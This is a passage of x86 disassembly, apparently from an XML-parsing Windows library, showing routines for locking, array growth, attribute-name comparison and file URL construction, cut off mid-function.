arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
lea edi, [esi+90h]
push edi ; lpCriticalSection
call ds:EnterCriticalSection
mov ecx, [esi+14h]
test ecx, ecx
jz short loc_69B3798A
call sub_69B3219C
mov esi, eax
jmp short loc_69B3798C
; ---------------------------------------------------------------------------
loc_69B3798A: ; CODE XREF: sub_69B37967+18j
xor esi, esi
loc_69B3798C: ; CODE XREF: sub_69B37967+21j
push edi ; lpCriticalSection
call ds:LeaveCriticalSection
pop edi
mov eax, esi
pop esi
retn 4
sub_69B37967 endp
; =============== S U B R O U T I N E =======================================
sub_69B3799A proc near ; DATA XREF: .text:69B27714o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
lea edi, [esi+90h]
push edi ; lpCriticalSection
call ds:EnterCriticalSection
mov ecx, [esi+14h]
test ecx, ecx
jz short loc_69B379BD
call sub_69B321AF
mov esi, eax
jmp short loc_69B379BF
; ---------------------------------------------------------------------------
loc_69B379BD: ; CODE XREF: sub_69B3799A+18j
xor esi, esi
loc_69B379BF: ; CODE XREF: sub_69B3799A+21j
push edi ; lpCriticalSection
call ds:LeaveCriticalSection
pop edi
mov eax, esi
pop esi
retn 4
sub_69B3799A endp
; =============== S U B R O U T I N E =======================================
sub_69B379CD proc near ; DATA XREF: .text:69B27718o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
lea edi, [esi+90h]
push edi ; lpCriticalSection
call ds:EnterCriticalSection
mov ecx, [esi+14h]
test ecx, ecx
jz short loc_69B379F0
call sub_69B321C2
mov esi, eax
jmp short loc_69B379F2
; ---------------------------------------------------------------------------
loc_69B379F0: ; CODE XREF: sub_69B379CD+18j
xor esi, esi
loc_69B379F2: ; CODE XREF: sub_69B379CD+21j
push edi ; lpCriticalSection
call ds:LeaveCriticalSection
pop edi
mov eax, esi
pop esi
retn 4
sub_69B379CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B37A00 proc near ; DATA XREF: .text:69B2771Co
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
test ebx, ebx
jz short loc_69B37A6D
cmp [ebp+arg_C], 0
jz short loc_69B37A6D
call dword_69B92948
test eax, eax
mov [ebp+arg_8], eax
jnz short loc_69B37A25
mov eax, 80004005h
jmp short loc_69B37A72
; ---------------------------------------------------------------------------
loc_69B37A25: ; CODE XREF: sub_69B37A00+1Cj
push esi
mov esi, [ebp+arg_0]
push edi
lea edi, [esi+90h]
push edi ; lpCriticalSection
call ds:EnterCriticalSection
mov ecx, [esi+14h]
xor esi, esi
cmp ecx, esi
jz short loc_69B37A50
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
call sub_69B321D5
mov esi, eax
jmp short loc_69B37A57
; ---------------------------------------------------------------------------
loc_69B37A50: ; CODE XREF: sub_69B37A00+3Ej
mov eax, [ebp+arg_4]
mov [eax], esi
mov [ebx], esi
loc_69B37A57: ; CODE XREF: sub_69B37A00+4Ej
push edi ; lpCriticalSection
call ds:LeaveCriticalSection
push [ebp+arg_8]
call dword_69B92944
pop edi
mov eax, esi
pop esi
jmp short loc_69B37A72
; ---------------------------------------------------------------------------
loc_69B37A6D: ; CODE XREF: sub_69B37A00+9j
; sub_69B37A00+Fj
mov eax, 80070057h
loc_69B37A72: ; CODE XREF: sub_69B37A00+23j
; sub_69B37A00+6Bj
pop ebx
pop ebp
retn 10h
sub_69B37A00 endp
; =============== S U B R O U T I N E =======================================
sub_69B37A77 proc near ; DATA XREF: .text:69B2772Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
test edx, edx
jnz short loc_69B37A86
mov eax, 80070057h
jmp short locret_69B37AB9
; ---------------------------------------------------------------------------
loc_69B37A86: ; CODE XREF: sub_69B37A77+6j
mov eax, [esp+arg_0]
mov ecx, [eax+0B0h]
test ecx, ecx
jz short loc_69B37A98
mov [edx], ecx
jmp short loc_69B37AB7
; ---------------------------------------------------------------------------
loc_69B37A98: ; CODE XREF: sub_69B37A77+1Bj
mov eax, [eax+5Ch]
test eax, eax
jz short loc_69B37AB4
mov eax, [eax+4]
test eax, eax
jz short loc_69B37AB4
mov eax, [eax+28h]
test eax, eax
jz short loc_69B37AB4
mov eax, [eax+8]
mov [edx], eax
jmp short loc_69B37AB7
; ---------------------------------------------------------------------------
loc_69B37AB4: ; CODE XREF: sub_69B37A77+26j
; sub_69B37A77+2Dj ...
and dword ptr [edx], 0
loc_69B37AB7: ; CODE XREF: sub_69B37A77+1Fj
; sub_69B37A77+3Bj
xor eax, eax
locret_69B37AB9: ; CODE XREF: sub_69B37A77+Dj
retn 8
sub_69B37A77 endp
; =============== S U B R O U T I N E =======================================
sub_69B37ABC proc near ; CODE XREF: sub_69B380C2+7p
; sub_69B380EB+7p ...
arg_0 = dword ptr 4
mov edx, [ecx+50h]
dec edx
push esi
push edi
js short loc_69B37ADD
mov esi, [ecx+48h]
mov ecx, [ecx+4Ch]
loc_69B37ACA: ; CODE XREF: sub_69B37ABC+1Fj
mov eax, esi
imul eax, edx
add eax, ecx
mov edi, [eax+4]
cmp edi, [esp+8+arg_0]
jz short loc_69B37ADF
dec edx
jns short loc_69B37ACA
loc_69B37ADD: ; CODE XREF: sub_69B37ABC+6j
xor eax, eax
loc_69B37ADF: ; CODE XREF: sub_69B37ABC+1Cj
pop edi
pop esi
retn 4
sub_69B37ABC endp
; =============== S U B R O U T I N E =======================================
sub_69B37AE4 proc near ; CODE XREF: sub_69B37B4D+44p
; sub_69B37C12+E5p ...
push esi
push edi
mov esi, ecx
mov di, [esi+84h]
add di, 0Ah
cmp di, 0Ah
jnb short loc_69B37B00
mov eax, 80004005h
jmp short loc_69B37B4A
; ---------------------------------------------------------------------------
loc_69B37B00: ; CODE XREF: sub_69B37AE4+13j
movzx eax, di
push ebp
shl eax, 2
push eax
call sub_69B11E44
mov ebp, eax
test ebp, ebp
jnz short loc_69B37B1A
mov eax, 8007000Eh
jmp short loc_69B37B49
; ---------------------------------------------------------------------------
loc_69B37B1A: ; CODE XREF: sub_69B37AE4+2Dj
mov eax, [esi+68h]
jmp short loc_69B37B2C
; ---------------------------------------------------------------------------
loc_69B37B1F: ; CODE XREF: sub_69B37AE4+49j
mov ecx, [esi+60h]
imul ecx, eax
add ecx, [esi+64h]
mov [ebp+eax*4+0], ecx
loc_69B37B2C: ; CODE XREF: sub_69B37AE4+39j
dec eax
jns short loc_69B37B1F
push ebx
lea ebx, [esi+80h]
push dword ptr [ebx]
call sub_69B1B2B7
mov [ebx], ebp
mov [esi+84h], di
xor eax, eax
pop ebx
loc_69B37B49: ; CODE XREF: sub_69B37AE4+34j
pop ebp
loc_69B37B4A: ; CODE XREF: sub_69B37AE4+1Aj
pop edi
pop esi
retn
sub_69B37AE4 endp
; =============== S U B R O U T I N E =======================================
sub_69B37B4D proc near ; CODE XREF: sub_69B38A09:loc_69B38CBBp
; sub_69B38A09+37Dp
arg_0 = dword ptr 4
push ebx
mov ebx, ecx
mov eax, [ebx+68h]
lea ecx, [ebx+60h]
mov [ebx+74h], eax
call sub_69B318FB
test eax, eax
mov [ebx+78h], eax
jnz short loc_69B37B6F
mov eax, 8007000Eh
jmp loc_69B37C0E
; ---------------------------------------------------------------------------
loc_69B37B6F: ; CODE XREF: sub_69B37B4D+16j
push ebp
mov ebp, [esp+8+arg_0]
push esi
push edi
push 9
mov edi, eax
pop ecx
mov esi, ebp
rep movsd
mov ax, [ebx+84h]
cmp ax, [ebx+86h]
jnz short loc_69B37B9A
mov ecx, ebx
call sub_69B37AE4
test eax, eax
jl short loc_69B37C0B
loc_69B37B9A: ; CODE XREF: sub_69B37B4D+40j
movzx eax, word ptr [ebx+86h]
mov ecx, [ebx+80h]
mov edx, [ebx+78h]
mov [ecx+eax*4], edx
inc word ptr [ebx+86h]
mov ecx, [ebx+78h]
mov byte ptr [ebx+3Dh], 0
mov eax, [ebp+14h]
lea edx, [eax+1]
cmp [ecx+28h], edx
jnb short loc_69B37BD6
add eax, 32h
push eax
push ecx
mov ecx, ebx
call sub_69B37577
test eax, eax
jl short loc_69B37C0B
loc_69B37BD6: ; CODE XREF: sub_69B37B4D+77j
mov eax, [ebx+78h]
mov edi, [eax+24h]
mov ecx, [ebp+14h]
mov esi, [ebp+10h]
shl ecx, 1
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov eax, [ebx+78h]
mov eax, [eax+24h]
mov ecx, [ebp+14h]
and word ptr [eax+ecx*2], 0
mov ebx, [ebx+78h]
mov eax, [ebx+24h]
mov [ebx+10h], eax
xor eax, eax
loc_69B37C0B: ; CODE XREF: sub_69B37B4D+4Bj
; sub_69B37B4D+87j
pop edi
pop esi
pop ebp
loc_69B37C0E: ; CODE XREF: sub_69B37B4D+1Dj
pop ebx
retn 4
sub_69B37B4D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B37C12 proc near ; CODE XREF: sub_69B38A09+29Bp
; sub_69B38A09+579p
lpStr1 = dword ptr -0Ch
lpStr2 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+8]
test eax, eax
mov ebx, ecx
jz short loc_69B37C2B
cmp eax, 1Fh
jnz short loc_69B37C49
loc_69B37C2B: ; CODE XREF: sub_69B37C12+12j
mov eax, [ebx+0C0h]
test eax, eax
jl short loc_69B37C49
movzx ecx, word ptr [ebx+7Ch]
shr ecx, 1
cmp ecx, eax
jl short loc_69B37C49
mov eax, 80004004h
jmp loc_69B37D1D
; ---------------------------------------------------------------------------
loc_69B37C49: ; CODE XREF: sub_69B37C12+17j
; sub_69B37C12+21j ...
cmp word ptr [ebx+7Ch], 0
push edi
jz short loc_69B37CC1
mov ecx, [ebx+68h]
dec ecx
cmp ecx, [ebx+74h]
mov [ebp+var_4], ecx
jle short loc_69B37CC1
jmp short loc_69B37C62
; ---------------------------------------------------------------------------
loc_69B37C5F: ; CODE XREF: sub_69B37C12+9Ej
mov esi, [ebp+arg_0]
loc_69B37C62: ; CODE XREF: sub_69B37C12+4Bj
mov eax, [ebx+60h]
imul eax, ecx
add eax, [ebx+64h]
cmp dword ptr [eax+4], 2
jnz short loc_69B37CA9
mov edx, [esi+14h]
cmp [eax+14h], edx
jnz short loc_69B37CA9
mov eax, [eax+10h]
mov edi, [esi+10h]
mov esi, eax
mov [ebp+lpStr1], eax
lea ecx, [edx+edx]
xor eax, eax
mov [ebp+lpStr2], edi
repe cmpsb
jnz short loc_69B37CA6
cmp [ebx+2Ch], al
jz short loc_69B37CB4
push edx ; nChar
push [ebp+lpStr2] ; lpStr2
push [ebp+lpStr1] ; lpStr1
call ds:StrCmpNIW ; StrCmpNIW
test eax, eax
jz short loc_69B37CBB
loc_69B37CA6: ; CODE XREF: sub_69B37C12+7Cj
mov ecx, [ebp+var_4]
loc_69B37CA9: ; CODE XREF: sub_69B37C12+5Dj
; sub_69B37C12+65j
dec ecx
cmp ecx, [ebx+74h]
mov [ebp+var_4], ecx
jg short loc_69B37C5F
jmp short loc_69B37CC1
; ---------------------------------------------------------------------------
loc_69B37CB4: ; CODE XREF: sub_69B37C12+81j
; sub_69B37C12+ADj
mov eax, 0C00CE554h
jmp short loc_69B37D1C
; ---------------------------------------------------------------------------
loc_69B37CBB: ; CODE XREF: sub_69B37C12+92j
cmp byte ptr [ebx+41h], 0
jz short loc_69B37CB4
loc_69B37CC1: ; CODE XREF: sub_69B37C12+3Dj
; sub_69B37C12+49j ...
inc word ptr [ebx+7Ch]
lea ecx, [ebx+60h]
call sub_69B318FB
test eax, eax
mov [ebx+78h], eax
jnz short loc_69B37CDB
mov eax, 8007000Eh
jmp short loc_69B37D1C
; ---------------------------------------------------------------------------
loc_69B37CDB: ; CODE XREF: sub_69B37C12+C0j
mov esi, [ebp+arg_0]
push 9
mov edi, eax
pop ecx
rep movsd
mov ax, [ebx+84h]
cmp ax, [ebx+86h]
jnz short loc_69B37D00
mov ecx, ebx
call sub_69B37AE4
test eax, eax
jl short loc_69B37D1C
loc_69B37D00: ; CODE XREF: sub_69B37C12+E1j
movzx eax, word ptr [ebx+86h]
mov ecx, [ebx+80h]
mov edx, [ebx+78h]
mov [ecx+eax*4], edx
inc word ptr [ebx+86h]
xor eax, eax
loc_69B37D1C: ; CODE XREF: sub_69B37C12+A7j
; sub_69B37C12+C7j ...
pop edi
loc_69B37D1D: ; CODE XREF: sub_69B37C12+32j
pop esi
pop ebx
leave
retn 4
sub_69B37C12 endp
; =============== S U B R O U T I N E =======================================
sub_69B37D23 proc near ; CODE XREF: sub_69B38A09+418p
; sub_69B38A09+44Fp
arg_0 = dword ptr 4
push ebx
mov ebx, ecx
lea ecx, [ebx+60h]
call sub_69B318FB
test eax, eax
mov [ebx+78h], eax
jnz short loc_69B37D3C
mov eax, 8007000Eh
jmp short loc_69B37D91
; ---------------------------------------------------------------------------
loc_69B37D3C: ; CODE XREF: sub_69B37D23+10j
mov eax, [ebx+14h]
movzx eax, word ptr [eax+56h]
push esi
mov esi, [esp+8+arg_0]
push edi
mov [esi+20h], eax
mov edi, [ebx+78h]
push 9
pop ecx
rep movsd
mov ax, [ebx+84h]
cmp ax, [ebx+86h]
pop edi
pop esi
jnz short loc_69B37D71
mov ecx, ebx
call sub_69B37AE4
test eax, eax
jl short loc_69B37D91
loc_69B37D71: ; CODE XREF: sub_69B37D23+41j
movzx eax, word ptr [ebx+86h]
mov ecx, [ebx+80h]
mov edx, [ebx+78h]
mov [ecx+eax*4], edx
inc word ptr [ebx+86h]
inc word ptr [ebx+7Ch]
xor eax, eax
loc_69B37D91: ; CODE XREF: sub_69B37D23+17j
; sub_69B37D23+4Cj
pop ebx
retn 4
sub_69B37D23 endp
; =============== S U B R O U T I N E =======================================
sub_69B37D95 proc near ; CODE XREF: sub_69B38A09+356p
arg_0 = dword ptr 4
push ebx
mov ebx, ecx
lea ecx, [ebx+60h]
call sub_69B318FB
test eax, eax
mov [ebx+78h], eax
jnz short loc_69B37DAE
mov eax, 8007000Eh
jmp short loc_69B37DF8
; ---------------------------------------------------------------------------
loc_69B37DAE: ; CODE XREF: sub_69B37D95+10j
push esi
mov esi, [esp+8+arg_0]
push edi
push 9
pop ecx
mov edi, eax
rep movsd
mov ax, [ebx+84h]
cmp ax, [ebx+86h]
pop edi
pop esi
jnz short loc_69B37DD8
mov ecx, ebx
call sub_69B37AE4
test eax, eax
jl short loc_69B37DF8
loc_69B37DD8: ; CODE XREF: sub_69B37D95+36j
movzx eax, word ptr [ebx+86h]
mov ecx, [ebx+80h]
mov edx, [ebx+78h]
mov [ecx+eax*4], edx
inc word ptr [ebx+86h]
mov byte ptr [ebx+3Bh], 1
xor eax, eax
loc_69B37DF8: ; CODE XREF: sub_69B37D95+17j
; sub_69B37D95+41j
pop ebx
retn 4
sub_69B37D95 endp
; =============== S U B R O U T I N E =======================================
sub_69B37DFC proc near ; CODE XREF: sub_69B38114+Ap
push esi
mov esi, ecx
movzx ecx, word ptr [esi+7Ch]
test ecx, ecx
mov eax, [esi+68h]
jle short loc_69B37E29
push ebx
sub eax, ecx
push edi
mov edi, eax
mov ebx, ecx
loc_69B37E12: ; CODE XREF: sub_69B37DFC+29j
mov eax, [esi+60h]
imul eax, edi
add eax, [esi+64h]
mov ecx, esi
push eax
call sub_69B375AE
inc edi
dec ebx
jnz short loc_69B37E12
pop edi
pop ebx
loc_69B37E29: ; CODE XREF: sub_69B37DFC+Cj
xor eax, eax
pop esi
retn
sub_69B37DFC endp
; =============== S U B R O U T I N E =======================================
sub_69B37E2D proc near ; CODE XREF: sub_69B38A09+6EBp
; sub_69B38A09+6FCp
push 30h
push offset dword_69B37FB0
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
mov dword ptr [ebp-20h], 0C00CE553h
mov eax, [esi+68h]
mov [ebp-24h], eax
xor edi, edi
mov [ebp-28h], edi
xor edx, edx
mov [ebp-2Ch], edi
mov ecx, [ebp+8]
mov [ebp-30h], ecx
cmp ecx, eax
jl short loc_69B37EAC
loc_69B37E5F: ; CODE XREF: sub_69B37E2D+8Dj
; sub_69B37E2D+144j
and dword ptr [ebp-4], 0
push 0
push dword ptr [ebp-28h] ; lpString
call sub_69B1A587
push eax
push 0C00CE553h
call sub_69B2F944
add esp, 0Ch
mov [ebp-3Ch], eax
mov ecx, [eax+0Ch]
mov [ebp-40h], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [esi+20h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B37E95: ; CODE XREF: sub_69B37E2D+150j
push dword ptr [ebp-28h]
call sub_69B1B2B7
push 0
call sub_69B1B2B7
jmp loc_69B37FA1
; ---------------------------------------------------------------------------
loc_69B37EA9: ; CODE XREF: sub_69B37E2D+13Ej
mov edi, [ebp-2Ch]
loc_69B37EAC: ; CODE XREF: sub_69B37E2D+30j
mov ebx, [esi+60h]
imul ebx, [ebp-30h]
add ebx, [esi+64h]
cmp dword ptr [ebx+4], 2
jz short loc_69B37E5F
mov eax, [ebx+14h]
add eax, edi
lea ecx, [eax+3]
cmp ecx, edx
jbe short loc_69B37F16
lea esi, [eax+1F4h]
mov [ebp-34h], esi
lea eax, [esi+esi]
push eax
call sub_69B11E44
mov [ebp-38h], eax
test eax, eax
jz loc_69B37F76
cmp dword ptr [ebp-28h], 0
jz short loc_69B37F0E
mov ecx, edi
mov esi, [ebp-28h]
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push dword ptr [ebp-28h]
call sub_69B1B2B7
mov edi, [ebp-2Ch]
mov esi, [ebp-34h]
loc_69B37F0E: ; CODE XREF: sub_69B37E2D+BCj
mov edx, esi
mov eax, [ebp-38h]
mov [ebp-28h], eax
loc_69B37F16: ; CODE XREF: sub_69B37E2D+99j
mov eax, [ebp+8]
cmp [ebp-30h], eax
jle short loc_69B37F32
mov eax, [ebp-28h]
mov word ptr [eax+edi*2], 2Ch
inc edi
mov word ptr [eax+edi*2], 20h
inc edi
mov [ebp-2Ch], edi
loc_69B37F32: ; CODE XREF: sub_69B37E2D+EFj
mov ecx, [ebx+14h]
shl ecx, 1
mov esi, [ebx+10h]
mov eax, [ebp-28h]
lea edi, [eax+edi*2]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov eax, [ebp-2Ch]
add eax, [ebx+14h]
mov [ebp-2Ch], eax
mov ecx, [ebp-28h]
and word ptr [ecx+eax*2], 0
inc dword ptr [ebp-30h]
mov eax, [ebp-30h]
mov esi, [ebp-1Ch]
cmp eax, [ebp-24h]
jl loc_69B37EA9
jmp loc_69B37E5F
; ---------------------------------------------------------------------------
loc_69B37F76: ; CODE XREF: sub_69B37E2D+B2j
mov dword ptr [ebp-20h], 8007000Eh
jmp loc_69B37E95
; ---------------------------------------------------------------------------
loc_69B37F82: ; DATA XREF: .text:69B37FB4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B37F8B: ; DATA XREF: .text:69B37FB8o
mov esp, [ebp-18h]
call sub_69B2E808
mov ecx, eax
call sub_69B2E804
mov [ebp-20h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B37FA1: ; CODE XREF: sub_69B37E2D+77j
mov eax, [ebp-20h]
call sub_69B1853C
retn 4
sub_69B37E2D endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B37FB0 dd 0FFFFFFFFh dd offset loc_69B37F82
dd offset loc_69B37F8B
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B37FBC proc near ; CODE XREF: sub_69B39507+C7p
pv = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ebx
push edi
lea edx, [ebp+pv]
push edx
push eax
push [ebp+arg_4]
xor ebx, ebx
push eax
mov [ebp+pv], ebx
call dword ptr [ecx+50h]
mov edi, eax
cmp edi, ebx
jl loc_69B3808B
push esi
push [ebp+pv] ; lpString
call ds:lstrlenW ; lstrlenW
mov esi, eax
cmp esi, 4
jle loc_69B3807C
push 4 ; nChar
push offset Str2 ; "file"
push [ebp+pv] ; lpStr1
call ds:StrCmpNIW ; StrCmpNIW
test eax, eax
jnz short loc_69B3807C
lea eax, [esi+esi+14h]
push eax
call sub_69B11E44
mov esi, eax
push offset psz2 ; "file:///"
push esi ; psz1
call ds:StrCpyW ; StrCpyW
mov eax, [ebp+pv]
add eax, 8
cmp word ptr [eax], 3Ah
push 2
pop edi
jnz short loc_69B3803C
jmp short loc_69B3803A
; ---------------------------------------------------------------------------
loc_69B38034: ; CODE XREF: sub_69B37FBC+86j
cmp cx, 2Fh
jnz short loc_69B38044
loc_69B3803A: ; CODE XREF: sub_69B37FBC+76j
add eax, edi
loc_69B3803C: ; CODE XREF: sub_69B37FBC+74j
mov cx, [eax]
cmp cx, bx
jnz short loc_69B38034
loc_69B38044: ; CODE XREF: sub_69B37FBC+7Cj
lea edx, [esi+0Eh]
jmp short loc_69B3805D
; ---------------------------------------------------------------------------
loc_69B38049: ; CODE XREF: sub_69B37FBC+A7j
cmp cx, 5Ch
jnz short loc_69B38056
mov word ptr [edx], 2Fh
jmp short loc_69B38059
; ---------------------------------------------------------------------------
loc_69B38056: ; CODE XREF: sub_69B37FBC+91j
mov [edx], cx
loc_69B38059: ; CODE XREF: sub_69B37FBC+98j
add eax, edi
add edx, edi
loc_69B3805D: ; CODE XREF: sub_69B37FBC+8Bj
mov cx, [eax]
cmp cx, bx
jnz short loc_69B38049
mov ecx, [ebp+arg_8]
push ebx ; int
push esi ; lpString
mov [edx], bx
call sub_69B3A709
push esi
mov edi, eax
call sub_69B1B2B7
jmp short loc_69B3808A
; ---------------------------------------------------------------------------
loc_69B3807C: ; CODE XREF: sub_69B37FBC+35j
; sub_69B37FBC+4Dj
mov ecx, [ebp+arg_8]
push ebx ; int
push [ebp+pv] ; lpString
call sub_69B3A709
mov edi, eax
loc_69B3808A: ; CODE XREF: sub_69B37FBC+BEj
pop esi
loc_69B3808B: ; CODE XREF: sub_69B37FBC+20j
cmp [ebp+pv], ebx
jz short loc_69B38099
push [ebp+pv] ; pv
call ds:CoTaskMemFree
loc_69B38099: ; CODE XREF: sub_69B37FBC+D2j
mov eax, edi
pop edi
pop ebx
leave
retn 0Ch
sub_69B37FBC endp
; ---------------------------------------------------------------------------
align 4
; const WCHAR psz2
psz2: ; DATA XREF: sub_69B37FBC+5Bo
unicode 0, <file:///>,0
align 4
; const WCHAR Str2
Str2: ; DATA XREF: sub_69B37FBC+3Do
unicode 0, <file>,0
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B380C2(int, LPCWSTR lpStr1, int)
sub_69B380C2 proc near ; DATA XREF: .text:69B276E8o
arg_0 = dword ptr 4
lpStr1 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
add ecx, 0FFFFFFF0h
call sub_69B37ABC
test eax, eax
jz short locret_69B380E8
mov eax, [eax+8]
test eax, eax
jz short locret_69B380E8
push [esp+arg_8] ; int
mov ecx, eax
push [esp+4+lpStr1] ; lpStr1
call sub_69B36309
locret_69B380E8: ; CODE XREF: sub_69B380C2+Ej
; sub_69B380C2+15j
retn 0Ch
sub_69B380C2 endp
; =============== S U B R O U T I N E =======================================
sub_69B380EB proc near ; DATA XREF: .text:69B276ECo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
add ecx, 0FFFFFFF0h
call sub_69B37ABC
test eax, eax
jz short locret_69B38111
mov eax, [eax+8]
test eax, eax
jz short locret_69B38111
push [esp+arg_8]
mov ecx, eax
push [esp+4+arg_4]
call sub_69B36338
locret_69B38111: ; CODE XREF: sub_69B380EB+Ej
; sub_69B380EB+15j
retn 0Ch
sub_69B380EB endp
; =============== S U B R O U T I N E =======================================
sub_69B38114 proc near ; CODE XREF: sub_69B31EE5+20p
arg_0 = dword ptr 4
cmp [esp+arg_0], 48h
push esi
mov esi, ecx
jnz short loc_69B38127
call sub_69B37DFC
test eax, eax
jl short loc_69B38136
loc_69B38127: ; CODE XREF: sub_69B38114+8j
mov eax, [esi+8Ch]
mov ecx, [eax]
push 9
push esi
push eax
call dword ptr [ecx+0Ch]
loc_69B38136: ; CODE XREF: sub_69B38114+11j
pop esi
retn 4
sub_69B38114 endp
; =============== S U B R O U T I N E =======================================
sub_69B3813A proc near ; CODE XREF: sub_69B3886F+3p
push ebx
push ebp
push esi
mov esi, ecx
push edi
lea ebp, [esi+8Ch]
lea edi, [esi-4]
push ebp
mov dword ptr [edi], offset off_69B276F8
mov dword ptr [esi], offset off_69B276F0
mov dword ptr [esi+0Ch], offset off_69B276E4
call ds:EnterCriticalSection
mov eax, [edi]
push edi
call dword ptr [eax+6Ch]
mov ebx, [esi+68h]
jmp short loc_69B38190
; ---------------------------------------------------------------------------
loc_69B3816E: ; CODE XREF: sub_69B3813A+57j
mov edi, [esi+5Ch]
imul edi, ebx
add edi, [esi+60h]
mov eax, [edi+24h]
test eax, eax
jz short loc_69B3818C
push eax
call sub_69B1B2B7
and dword ptr [edi+24h], 0
and dword ptr [edi+28h], 0
loc_69B3818C: ; CODE XREF: sub_69B3813A+42j
and dword ptr [edi+1Ch], 0
loc_69B38190: ; CODE XREF: sub_69B3813A+32j
dec ebx
jns short loc_69B3816E
push dword ptr [esi+0A8h]
call sub_69B1B2B7
push dword ptr [esi+0ACh]
call sub_69B1B2B7
push dword ptr [esi+7Ch]
call sub_69B1B2B7
call sub_69B2C65C
push ebp ; lpCriticalSection
call ds:LeaveCriticalSection
push ebp ; lpCriticalSection
call ds:DeleteCriticalSection
lea eax, [esi+88h]
push eax
call sub_69B17230
lea ecx, [esi+5Ch]
call sub_69B88EF5
lea ecx, [esi+44h]
call sub_69B88EF5
pop edi
pop esi
pop ebp
pop ebx
jmp sub_69B2C65C
sub_69B3813A endp
; =============== S U B R O U T I N E =======================================
sub_69B381E9 proc near ; DATA XREF: .text:69B27704o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
call dword_69B92948
mov ebx, eax
test ebx, ebx
jnz short loc_69B381FD
mov eax, 80004005h
jmp short loc_69B38232
; ---------------------------------------------------------------------------
loc_69B381FD: ; CODE XREF: sub_69B381E9+Bj
push esi
mov esi, [esp+8+arg_0]
push edi
lea edi, [esi+90h]
push edi ; lpCriticalSection
call ds:EnterCriticalSection
push [esp+0Ch+arg_4]
add esi, 8Ch
push esi
call sub_69B17320
push edi ; lpCriticalSection
call ds:LeaveCriticalSection
push ebx
call dword_69B92944
pop edi
xor eax, eax
pop esi
loc_69B38232: ; CODE XREF: sub_69B381E9+12j
pop ebx
retn 8
sub_69B381E9 endp
; =============== S U B R O U T I N E =======================================
sub_69B38236 proc near ; DATA XREF: .text:69B27724o
push 34h
push offset dword_69B38390
call sub_69B19C5C
xor ebx, ebx
mov [ebp-1Ch], ebx
call dword_69B92948
mov [ebp-20h], eax
cmp eax, ebx
jnz short loc_69B3825E
mov eax, 80004005h
jmp loc_69B38386
; ---------------------------------------------------------------------------
loc_69B3825E: ; CODE XREF: sub_69B38236+1Cj
mov esi, [ebp+8]
push dword ptr [esi+0A8h]
push eax
lea ecx, [ebp-2Ch]
call sub_69B1A8C7
lea eax, [esi+90h]
mov [ebp-30h], eax
push eax ; lpCriticalSection
call ds:EnterCriticalSection
mov edi, [ebp+0Ch]
mov [edi], ebx
mov eax, [esi]
push esi
call dword ptr [eax+28h]
mov ecx, [esi+20h]
cmp ecx, ebx
jz short loc_69B382AF
push ecx ; OLECHAR *
call SysAllocString
mov [edi], eax
cmp eax, ebx
jnz loc_69B38369
mov dword ptr [ebp-1Ch], 8007000Eh
jmp loc_69B38369
; ---------------------------------------------------------------------------
loc_69B382AF: ; CODE XREF: sub_69B38236+5Aj
cmp eax, 0C00CEFFFh
ja short loc_69B382EB
cmp eax, 0C00CE000h
jb short loc_69B382EB
mov [ebp-4], ebx
push ebx
push eax
call sub_69B2F944
pop ecx
pop ecx
mov [ebp-34h], eax
mov ecx, [eax+0Ch]
mov [ebp-38h], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
cmp eax, ebx
jmp short loc_69B3833D
; ---------------------------------------------------------------------------
loc_69B382E0: ; DATA XREF: .text:69B38394o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B382E9: ; DATA XREF: .text:69B38398o
jmp short loc_69B38353
; ---------------------------------------------------------------------------
loc_69B382EB: ; CODE XREF: sub_69B38236+7Ej
; sub_69B38236+85j
mov dword ptr [ebp-4], 1
push eax
call sub_69B1D411
mov ebx, eax
mov [ebp-3Ch], ebx
mov esi, [esi+44h]
test esi, esi
jz short loc_69B3832B
push 0
push esi ; lpString
call sub_69B1A587
push eax
push 0C00CE582h
call sub_69B2F944
mov [ebp-40h], eax
push 0
push eax
push ebx
call sub_69B2F2CA
add esp, 18h
mov ebx, eax
mov [ebp-3Ch], ebx
loc_69B3832B: ; CODE XREF: sub_69B38236+CCj
mov eax, [ebx+0Ch]
mov [ebp-44h], eax
push dword ptr [ebx+8] ; UINT
push eax ; OLECHAR *
call SysAllocStringLen
test eax, eax
